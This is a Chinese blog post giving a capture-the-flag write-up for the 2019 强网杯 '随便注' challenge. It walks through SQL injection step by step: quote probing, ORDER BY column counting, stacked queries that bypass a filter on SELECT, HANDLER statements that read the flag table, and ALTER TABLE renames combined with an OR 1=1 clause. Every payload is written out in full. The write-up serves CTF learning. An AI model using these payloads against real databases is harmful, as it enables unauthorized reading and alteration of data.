[强网杯 2019]随便注

[强网杯 2019]随便注

解题步骤


测试注入点

利用引号 ' 判断是否报错,和数学计算如 2-1 之类的判断是字符型还是数字型

1' 报错,基本能判断是字符型


1'# 正常回显

从报错中还能判断是使用单引号闭合,加上注释回显正常则说明存在sql注入
届时我们先尝试一下union联合注入
 
先试用order by语句查询表的列数

1' order by 1;#  正常回显
1' order by 2;#  正常回显
1' order by 3;#  报错

到3报错说明表有两列,接下来使用select来查询库,表,字段
1'union select 1,database()#


发现过滤许多关键字:/select|update|delete|drop|insert|where|\.而且不区分大小写


select被禁,导致联合查询,布尔,时间盲注,报错注入都无法使用,剩下就堆叠注入能用
先尝试使用堆叠注入:

1';show database;#


发现正常回显则说明是可以使用的


接下来查看当前库下的所有数据表

1'; show tables;


分辨有两个表,1919810931114514和words,就近原则先查1919810931114514

1';show columns from `1919810931114514`;#  
1';show columns from words;#

注意:数据表为数字的时候需要用反引号括起来
小提示:这题输入框输入进去会被编码成url编码,如果把符号替换成url编码会被再编码一次,导致语句无法使用


发现flag字段,但接下来查字段下的值就需要使用到select,而select被过滤了,所以无法直接获取flag,这里有几个思路可以使用



第一个方法

使用handle语句来获取,这是mysql特有的语句非sql原有,它可以逐行查看表里的数据,handler通常在 select 被过滤后可以使用这条命令,类似select
handler table open;           // 打开表
handler table read;           // 阅读表
handler table read first;     // 查看第一个
handler table read next;      // 查看下一个表
handler table close;          // 关闭表

这里直接构造payload拿下flag

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;





第二种方法

使用 1';show columns from words;# 查询words表时发现是有两个字段的


在输入框里输入数字会有回显数据,这边猜测应该就是查询id,默认显示的应该就是words表,这时我的大胆猜测一下后端代码
后端的sql语句可能是select * from words where id=

因此可以得到一个思路,我们把words表随便改成一个名字如test,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果

修改表名:alter table 旧表名 rename to 新表名;
修改字段:alter table 表名 change 旧字段名 新字段名 新数据类型
1'; alter table words rename to test;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

接着我们使用or绕过直接获取flag
1' or 1 = 1 #

posted @ 2025-06-14 18:11  云懿  阅读(51)  评论(0)    收藏  举报